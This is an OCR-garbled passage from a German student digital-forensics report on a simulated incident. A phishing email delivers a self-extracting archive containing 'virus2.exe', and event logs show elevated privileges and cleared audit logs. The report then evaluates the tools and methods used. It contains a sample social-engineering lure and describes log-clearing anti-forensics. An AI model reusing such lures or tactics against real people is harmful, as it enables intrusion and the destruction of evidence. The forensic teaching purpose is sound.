“Manuel.Opfermann@bielenstein.biz* <Manuel Opf... “A.N. Greifer” <a.n.greifer@bielenstein.biz> 27.05.2020 18:45:27  Dokumentation Gber den Kaukasus <!doctype html> <html> <head> <meta chars.

Abbildung 40: Empfang der E-Mail vom Einheimischen (Angreifer) mit Schadhaften Anhang

[ ———

o
“Manuel.Opfermann@bielenstein.biz* <Manuel.Opfermann@bielenstein.biz> T

Image 3.E01

VORSCHAU &

von: AN, Greter” <angrefer@nieiensteniz
Gesendet: 27, 27

An: “Manuel.Opfermann @bielensteiniz” <Manuel. Opfermann@bielensteinkoiz>
Betreff: Dokumentation ber den Kaukasus

Bedeutung:  Normal

Anhange:  Kaukasus-BericntPDFrar

) us
Lieber Manuel,

anbei wie besprochen die selbst entpackende Dokumentation iiber den Kaukasus. Einfach doppel klicken und glicklich sein! --)

Viele Griifie
Dein A N Greifer

E-MAIL-ANHANGE ®

Kaukasus-Bericht.PDF.rar

DETAILS ¥

Abbildung 41: Ubersicht der E-Mail vom Angreifer in AXIOM

27.05.2020 @ 20:19Uhr (MESZ):

Der Reporter hat den E-Mail-Anhang vom Angreifer heruntergeladen und das selbstentpackende Ar-
chiv ausgefiihrt.

Der Speicherort des ,virus2.exe” ist im Pfad ,,C:\Users\Forensik\AppData\Local\Temp\RarSFX3\vi-
rus2.exe” abgespeichert worden.
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»Virus2.exe” konnte leider nicht intensiver untersucht werden, weil im Hex-Editor nichts Auffalliges zu
sehen war und das technische , Know-how" fiir eine tiefgriindige Untersuchung mittels Reverse-Engi-
neerings nicht gegeben war.

virus2.exe

DETAILS

DATEIDETAILS

Dateiname virus2.exe
Dateierweiterung exe
Logische GroBe  73.802 bytes
Erstellt  27.05.2020 20:19:47
Aufgerufen  27.05.2020 20:19:47
Modifiziert  07.03.2020 20:57:12
MFT geandert  02.06.2020 19:20:02
Cluster 3732120
Cluster-Zahler 19
Physikalischer Speicherort 15286763520
Physikalischer Sektor 20856960
MFT-Datensatznummer 2500
Ubergeordnete MFT-Aufzeichnungsnummer 2499
Sicherheits-ID 3249 (5-1-3-21-1432901608-1157976563-3996366839-1001)

Dateiattribute  Archive

BEWEISINFORMATIONEN

Quelle  Image_3.E01 - Partition 2 (Microsoft NTFS, 297,45 GB)\Users\Forensik\AppData\Local\Temp\RarSFX3\virus2.exe|

Beweisnummer Image_3.E01

Abbildung 42: Name und Speicherort des ,virus2.exe”

27.05.2020 @ 20:20Uhr — 20:24Uhr (MESZ):

Zwischen dieser Uhrzeit sind verschiedene Aktivitdten wohlmdglich vom Angreifer auf dem Opfer IT-
System durchgefiihrt worden. Die forensische Analyse hat zu diesem Zeitraum keine genauen Ergeb-
nisse geliefert.

Hierbei wurden alle Log- und die MRU-Eintrage erfolglos untersucht.

T

1672
Image _3.E01

DETAILS

ARTEFAKTINFORMATIONEN

Ereignis-ID 4672
Datum/Zeit der Erstellung  27.05.2020 20:25:26

Ereignisbeschreibung - i

ing  Special privileges assigned to new logon.
Ebene  Information
Keywords ~ 0x8020000000000000
Anbietername  Microsaft-Windows-Security-Auditing
Aufgabenkategorie 12548
Computer  Forensik-PC

Ereignisdatum  <Event xmins="http://schemas.microsoft.com/win/2004/08/events/
event”>
<System>
<Provider Name="Microsoft-Windows-Security-Auditing”
Guid="54849625-5478-4994-a5ba-3e3b0328c30d" />
<EventlD>4672</EventiD>
<Version>0</Version>
<Level>0</Level>
<Task>12548</Task>
<Opcode>0</Opcode>

sy </Ki d:
<TimeCreated SystemTime="2020-05-27T18:25:26.9048111Z" />

E -/Event
<Correlation ActivitylD="b3b54d07-3440-0000-254e-
b3b34034d601" />
<Execution ProcessID="560" ThreadlD="544" />
<Channel>Security</Channel>
<Computer>Forensik-PC</Computer>
<Security />
</System>
<EventData>
<Data Name="SubjectUserSid">5-1-5-18</Data>
ubjectUserName”>SYSTEM</Data>
ubjectDomainName">NT-AUTORITAT</Data>
bjectLogonld” >0x00000000000003E7 </Data>
<Data Name="Privilegelist">SeAssignPrimaryTokenPrivilege
SeTcbPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeloadDriverPrivileae
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4672

<EventlD>4672</EventiD>
<Version>0</Version>
<Level>0</Level>

<Task> 12548 </Task>
<Opcode>0</Opcode>

er Name="Microsoft-Windows-Security-Auditing”
54849625-5478-4994-a5ba-3e3b0328c30d" />

<

Ex dID>6688 </Er

7y
Y Y
<TimeCreated SystemTime="2020-05-27T18:25:26.9048111Z" />

<Correlation ActivitylD="b3b54d07-3440-0000-254-

b5b34034d601" />

<Execution ProcesslD="560" ThreadlD="544" />

<Channel>5ecurity</Channel >
<Computer>Forensik-PC</Computer>

<Security />

</System>

<EventData>

<Data Nam: ubjectUserSid">5-1-53-18</Data>

<Data Nam ubjectUserName">SYSTEM </Data>

<Data Nam ubjectDomainName">NT-AUTORITAT</Data>

<Data Nam.
SeTcbPrivilege

ubjectLogonld” >0x00000000000003E7 </Data>
vilegeList">SeAssignPrimaryTokenPrivilege

SeSecurityPrivilege
SeTakeOwnershipPrivilege

SeloadDrin

SeBackupPrivilege
I

Privilege

SeSystemEnvironmentPrivilege
SelmpersonatePrivilege

</EventData>
</Event>

rivilege</Data>

Abbildung 43: Zugriff auf das Opfer IT-System mit erhéhten Rechten

27.05.2020 @ 20:32Uhr (MESZ):

Der Angreifer hat auf dem Opfer IT-System die System-, Anwendungen- und Sicherheit-Log-Eintrage

erfolgreich geldscht.

Erei...

325
325
8001
8001
325
1403
1402
1102
104

UBEREINSTIMMENDE ERGEBNISSE (1.150 von 65.196)

E= Sicherheitsnutzer-1D Datum/Zeit...
5-1-3-21-1432901608-1157976363-...  27.05.2020 20:33:42
5-1-3-21-1432901608-1157976363-...  27.05.2020 20:33:42
LocalSystem 27.05.2020 20:33:42
LocalSystem 27.05.2020 20:33:42
5-1-3-21-1432901608-1157976563-...  27.05.2020 20:33:41
5-1-3-21-1432901608-1157976563-..  27.05.2020 20:33:38
5-1-5-21-1432901608-1157976563-...  27.05.2020 20:33:37

27.05.2020 20:32:06
LocalSystem 27.05.2020 20:32:06

Ereignisbeschreibung - Zusa...

The audit log was cleared.

The System log file was cleared.

Ebene

Information
Information
Information
Information
Information
Information
Infarmation
Information

Infarmation

[ spattenansicht -

Keywords
0x4000000000010000
0x4000000000010000
0x8000100000000000
0x2000100000000000
0x4000000000010000
0x4000000000000000
0x4000000000000000
0x4020000000000000
0x8000000000000000

At

Abbildung 44: Ubersicht der gefundenen Eintrige in den Windows-Logs
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1102

ARTEFAKTINFORMATIONEN

Ereignis-ID 1102
Datum/Zeit der Erstellung  27.05.2020 20:32:06
Ereignisbeschreibung — Zusammenfassung  The audit log was cleared.

Ekene  Information

Keywords  0x4020000000000000

Anbistername  Microsoft-Windows-Eventlog
Aufgabenkategorie 104
Computer  Forensik-PC

Ereignisdatum  <Event xmins="http://schemas.microsoft.com/win/2004/08/events/
event”>
<System>
<Provider Name="Microsoft-Windows-Eventlog" Guid="{fc65ddd8-
dbef-4962-83d5-6e5cfedce148)" />
<EventlD>1102 </EventID>
<Version>0</Version:
<Level>4</Level>
<Task> 104 </Task>
<0Opcode>0</0Opcode>
<Keywords>0x4020000000000000 </Keywords >
<TimeCreated SystemTime="2020-05-27T18:32:06.8367089Z" />
<EventRecordID>6703 </EventRecordID>
<Correlation />
<Execution ProcesslD="312" ThreadID="1704" />
<Channel>Security</Channel >

<Comp =F ik-PC</Comp >

<Security />

</System>

<UserData>

<LogFileCleared xmlins="http:// if: microsoft.com/

win/2004/08/windows/eventlog” >

<SubjectUserSid>5-1-5-18 </SubjectUserSid>
<SubjectUserName>SYSTEM</SubjectUserName
<SubjectDomainName>NT-AUTORITAT </SubjectDomainName>
<SubjectLogonld>0x00000000000003E7 </SubjectLogonld>
</LogFileCleared>

<fUserData>

</Event>

Abbildung 45: Protokollierung des Loschvorganges in den Windows Anwendungen-Logs

104

mage_3.E01

DETAILS

ARTEFAKTINFORMATIONEN
Ereignis-ID 104
Sicherheitsnutzer-ID LocalSystem
Datum/Zeit der Erstellung  27.05.2020 20:32:06
Ereignisbeschreibung - Zusammenfassung  The System log file was cleared.
Ebene  Information

Keywords  0x8000000000000000

Anbieternarm Micr Wind Eventlog
Aufgabenkategorie 104
Computer  Forensik-PC

Ereignisdatum  <Event xmins="http://schemas.microsoft.com/win/2004/08/events/
event">
<System>
<Provider Name="Microsoft-Windows-Eventlog" Guid="{fc65ddd8-
d6ef-4962-83d5-6e5cfe9ce148)" />
<EventlD> 104 </EventiD>
<Version>0</Version>
<Level>4</Level>
< Task> 104 </Task>
<0pcode>0</0pcode>
<Keyword /Key
<TimeCreated SystemTime="2020-05-27T18:32:06.6147092Z" />
<EventRecordlD>1308</EventRecordID>
< Correlation />
<Execution ProcesslD="312" ThreadID="1704" />
<Channel>System </Channel>
< Computer>Forensik-PC</Computer>
<Security UserlD="5-1-5-18" />
</System>
<UserData>
<LogFileCleared xmins="http://manifests.microsoft.com/
win/2004/08/windows/eventlog™>
<SubjectUserName>5YSTEM</SubjectUserName>
<SubjectDomainName>NT-AUTORITAT</SubjectDomainName:
<Channel>System </Channel>
<BackupPath> </BackupPath>
</LogFileCleared:>
</UserData>

Abbildung 46: Protokollierung des Loschvorganges in den Windows Sicherheit-Logs




7.2 Bewertung des Angriffs nach der CERT-Taxonomie

Zur schematischen Darstellung des Angriffsverlaufs ist der Vorfall nach der CERT-Taxonomie klassifi-
ziert worden.

¢ Freundlicher und netter Einheimischer

Angreifer

e Social Engineering, E-Mail mit Anhang (selbstentpackendes Archiv),
selbstentpackenden Archiv mit PDF-Datei und der virus2.exe

Werkzeuge

e Der Mensch als Reporter (Agent)

Schwachstelle

wahren Anliegen

¢ Daten und Informationsgewinn

e Unerlaubter Zugriff auf Computer und Informationen

e Politisch motiviert und Freude am Schaden

¢ Informationsbeschaffung tiber die Identitdt des Reporters und seiner }
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8 Fazit und Untersuchungsergebnisse

In diesem Abschnitt des Kapitels wird die Vorgehensweise, der Einsatz der eingesetzten Werkzeuge
und Tools sowie die Untersuchungsergebnisse evaluiert.

8.1 Bewertung der Ergebnisse

Die bisherigen Untersuchungsergebnisse stellen nicht das Ende der forensischen Untersuchung dar.
Hierbei kbnnen weitere Aktivitdaten eingeleitet werden, indem eine Anzeige gegen den netten Einhei-
mischen (Angreifer) auf Basis seiner E-Mail-Adresse definiert wird. Dariiber hinaus sollte in einer wei-
teren polizeilichen Untersuchung die ,virus2.exe” analysiert werden mithilfe der Methodik von Re-
verse-Engineering, um das Schadensausmald besser klassifizieren zu kdnnen. Hierbei konnte bei der
forensischen Untersuchung nicht identifiziert werden, welche mdéglichen Dateien oder Dokumente der
Angreifer vom Reporter-Laptop heruntergeladen hat, da die Microsoft Windows Log-Eintrage geldscht
worden sind. Des Weiteren waren keine weiteren Anzeichen, wie in den Most-Recently-Used-Eintra-
gen in den Windows-Registry zu sehen. Darliber hinaus sollte ebenfalls untersucht werden, ob schon
dhnliche Falle mit der bekannten Absender E-Mail-Adresse existieren. Eine tUbergreifende polizeiliche
Zusammenarbeit mit anderen Landern ware moglich.

8.2 Bewertung der Vorgehensweise

Das Vorgehen bei dieser forensischen Untersuchung in unserer Fallkonstellation besitzt zwei grofRe
Schwachstellen bei der Sicherung der Daten. Aus finanziellen Griinden konnte keine ordnungsgemale
und gerichtsverwertbare Beweissicherung sichergestellt werden. Hierbei ist der Einsatz eines Write-
Blockers bei der Datensicherung sowie das 4-Augen-Prinzip nicht zum Einsatz gekommen. Dies hatte
in einem realen Gerichtsverfahren erhebliche Einschrankungen beziglich der Gerichtsfestigkeit, weil
die Beweismittel nicht vollumfanglich dokumentiert worden sind. Darliber hinaus wiirde das StrafmaR
gegeniber dem Beschuldigten gemindert werden aufgrund fehlerhafter Erhebung und Verarbeitung
der forensischen Daten.

8.3 Bewertung der genutzten Werkzeuge und Tools

Die eingesetzten Werkzeuge und Tools haben sich bei der Falluntersuchung besonders gut bewahrt.
Wie im Studienbrief beschrieben, ist der Einsatz von einem universellen Schraubendreher und einer
Taschenlampe bei der Sicherung von essentieller Bedeutung. Das Ansetzen des Schraubendrehers bei
den kleinen Torx-Schrauben ist durch die zuséatzliche Beleuchtung mit einer Tisch-/Taschenlampe er-
leichtert worden, um die Festplatte erfolgreich aus dem Gehdause |6sen zu kdnnen.

Der Einsatz des Tools FTK-Imager vom Hersteller AccessData hat sich fiir die Vorbereitung zur Image-
Erstellung als gut erwiesen, um die Hashsummen fiir die spatere Auswertung mit dem Tool Axiom vom
Hersteller Magnet Forensics Inc. bilden zu kénnen. Des Weiteren ist die Software FTK-Imager ein be-
kanntes und anerkanntes Forensik Tool bei Behorden und in der freien Marktwirtschaft.

Das Tool Axiom vom Hersteller Magnet Forensics Inc. ist ebenfalls ein anerkanntes und bekanntes Fo-
rensik Tool. Die Software ist leicht zu verstehen, konfigurierbar und es existieren diverse Literaturen
sowie Online-Schulungen zur erfolgreichen Abwicklung einer forensischen Untersuchung. Bei unserer
Fallkonstellation hat die Software allerdings einen Nachteil aufgewiesen.
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) Zoom-Gruppenchat - O *

some processing can be done after but the majority needs to
be done at he start, anther wishlist

Von Andreea Cretu an Alle:
Can you retrieve the messages from years back lets say 7
years?

Von Lyn Goh an Alle:
Andreea, that depends on if the messages are still present in
the evidence.

Von mir an Alle:
Is it possible to detect and make visible documents that have
been hide behind images (steganography)?

Von Rhys Tocby an Alle:
Andreea can you clarify your question?

Von hans an Alle:
maybe add a details/note pane to the evidence name that you
can change at will while evidence name stays the same

Von Dave Reis an Alle:
Is there a list of what can and can't be done post-processing?
This would be handy when | write runbooks.

Von Lyn Goh an Alle:
Christian, no, not at the moment.

Versenden an:  Alle ~

h’ippen Sie Ihre Nachricht hier... L\\»

Abbildung 47: Anfrage und Antwort des Axiom-Supporters

Aktuell ist es mithilfe von Axiom nicht moglich, versteckte Bilder hinter einem anderen Bild (Stegano-
grafie) zu detektieren. Dies wurde bei einer Online-Schulung vom Axiom-Support bestatigt.
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